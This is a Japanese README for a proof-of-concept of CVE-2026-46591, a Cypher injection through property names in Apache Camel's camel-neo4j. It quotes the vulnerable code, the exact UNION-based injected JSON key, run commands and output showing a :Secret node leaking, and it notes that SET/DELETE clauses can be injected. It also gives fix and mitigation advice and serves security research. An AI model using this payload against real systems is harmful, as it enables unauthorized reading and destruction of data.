
CVE-2026-46591 の再現コード: Apache Camel camel-neo4j における、CamelNeo4jMatchProperties のプロパティ名を介した Cypher インジェクション。認証バイパス / クロスラベルのデータ流出を可能にします (4.14.8/4.18.3/4.21.0 で修正済み)。
このプロジェクトは、CVE-2026-46591 として追跡されているApache Camelの camel-neo4j コンポーネントにおける Cypherインジェクション を実証します。プロデューサは、CamelNeo4jMatchProperties マップからマッチ/検索および削除操作のCypher WHERE 句を構築します。CVE-2025-66169 は、プロパティの値をクエリパラメータ ($paramN) としてバインドすることでインジェクションに対処しましたが、プロパティの名前 (そのマップのJSONキー) は、Neo4jProducer.retrieveNodes() および deleteNode() でクエリ文字列にそのまま連結されます。したがって、Cypher構文を含むプロパティ名は、実行されるクエリの構造を変更します。
このPoCは、影響を認証バイパス/データ流出として示します:攻撃者はJSONキーにCypherを配置し、:Person のルックアップが (UNION を介して) 本来触れるべきでない :Secret ノードも返すように書き換えられます — これはアドバイザリの「任意のノードまたはリレーションシップの読み取り、変更、削除」に一致します。
Advisory: https://camel.apache.org/security/CVE-2026-46591.html
CVE-2025-66169 (CAMEL-22719) の不完全な修正の後続であり、値はパラメータ化されたがプロパティ名はそのまま補間されたままだった。CVE-2025-27636、CVE-2026-40453などと同じヘッダーインジェクション関連のファミリー。
// Neo4jProducer.retrieveNodes (affected 4.18.2) — the VALUE is a parameter, the NAME is concatenated verbatim:
for (Map.Entry<String, Object> entry : matchMap.entrySet()) {
if (paramIndex > 0) whereClause.append(" AND ");
String paramName = "param" + paramIndex;
whereClause.append(alias).append(".").append(entry.getKey()) // <-- entry.getKey() (the JSON key) unescaped
.append(" = $").append(paramName);
queryParams.put(paramName, entry.getValue()); // value is safely bound
paramIndex++;
}
query = String.format("MATCH (%s:%s) WHERE %s RETURN %s", alias, label, whereClause, alias);
良性のマップ {"name":"alice"} の場合、クエリは
MATCH (n:Person) WHERE n.name = $param0 RETURN n となります。悪意のあるキーの場合:
key = name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node //
ビルドされたクエリは次のようになります (テンプレートの末尾の // = $param0 RETURN n はコメントアウトされます):
MATCH (n:Person) WHERE n.name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node
そのため、応答には呼び出し元の :Person ノードと :Secret ノードが含まれます。
修正 (4.14.8 / 4.18.3 / 4.21.0、CAMEL-23528) は、retrieveNodes() と deleteNode() の両方で厳格なプロパティ名の検証 (^[A-Za-z_][A-Za-z0-9_]*$) を追加し、一致しない名前を Neo4jOperationException で拒否します。
from("platform-http:/lookup")
.convertBodyTo(String.class)
.setHeader(Neo4jHeaders.OPERATION, constant(Neo4Operation.RETRIEVE_NODES))
.setHeader(Neo4jHeaders.MATCH_PROPERTIES, body()) // untrusted JSON body becomes the match map
.to("neo4j:neo4j?driver=#neo4jDriver&label=Person&alias=n");
「プロパティで人を検索する」API: クライアントは一致条件をJSONとして提供し、ルートはそれを CamelNeo4jMatchProperties としてプロデューサに渡します。グラフには2つの :Person ノードと、人の検索が決して返してはならない value を持つ1つの :Secret ノードが含まれています。
CVE-2026-46591/
├── pom.xml # camel-platform-http + camel-neo4j 4.18.2
├── Dockerfile
├── docker-compose.yml # neo4j 5.26 + the app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── Neo4jSettings.java # host / bolt / creds / secret flag
│ ├── Neo4jConfig.java # the Neo4j Driver bean (referenced as #neo4jDriver)
│ ├── Neo4jSeeder.java # waits for Neo4j, seeds :Person + :Secret nodes
│ ├── VictimRoute.java # platform-http:/lookup -> neo4j RETRIEVE_NODES
│ └── ExploitController.java # attacker: legit vs Cypher-in-the-JSON-key
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build # first start pulls the ~1GB neo4j image
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
=== 1) Legitimate lookup body={"name":"alice"} ===
[{name=alice, role=user}]
secret leaked: false
=== 2) Injected lookup (Cypher in the JSON key) ===
key = name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node //
[{name=alice, role=user}, {name=root-credentials, value=FLAG{neo4j_cypher_key_injection_CVE_2026_46591}}]
secret leaked: true
>>> Cypher-injection proof — a property NAME rewrote the query to read a :Secret node the
>>> :Person lookup should never return: true
CamelNeo4jMatchProperties に信頼できないデータを RETRIEVE_NODES または DELETE_NODE 操作のために運ぶ任意のルート。UNION を介して他のラベルを読み取ることに加えて、インジェクションされたキーは SET/DELETE/DETACH DELETE 句を追加して任意のノードやリレーションシップを変更または破壊できます。
4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23528) にアップグレードしてください。修正後、プロパティ名はクエリに配置される前に ^[A-Za-z_][A-Za-z0-9_]*$ に対して検証されます。
アップグレードするまでは、CamelNeo4jMatchProperties を信頼できない入力から設定しないでください: Neo4jプロデューサの前にプロパティ名を検証または許可リスト化し (例: ^[A-Za-z_][A-Za-z0-9_]*$ に対して)、そのようなルートにフィードするコンシューマがインバウンドの Camel* / camel* ヘッダーをフィルタリングして、マッチヘッダーが外部の送信者によって提供されないようにしてください。
この再現プログラムは、公開され修正された脆弱性に対するセキュリティ研究および許可されたテストのために提供されています。明示的な許可なくシステムに対して使用しないでください。
| プロパティ | 値 |
|---|
| コンポーネント | camel-neo4j |
| 影響を受けるクラス | org.apache.camel.component.neo4j.Neo4jProducer#retrieveNodes / #deleteNode (プロパティ名がWHERE句に補間される) |
| CWE | CWE-943 (データクエリロジックにおける特殊要素の不適切な無害化) |
| 影響 | Cypherインジェクション → 任意のノードおよびリレーションシップの読み取り/変更/削除 |
| 前提条件 | ルートが信頼できない入力を CamelNeo4jMatchProperties マップにマッピングしている (例: リクエストボディ); ヘッダーはCamelプレフィックスが付くため、通常のHTTPクライアントは直接設定できない |
| 影響を受けるバージョン | 4.10.0から4.14.8未満、4.15.0から4.18.3未満、4.19.0から4.21.0未満 |
| 修正バージョン | 4.14.8、4.18.3、4.21.0 |
| JIRA | CAMEL-23528 (PR apache/camel#23258) |
| クレジット | Yu Bao (PayPal) |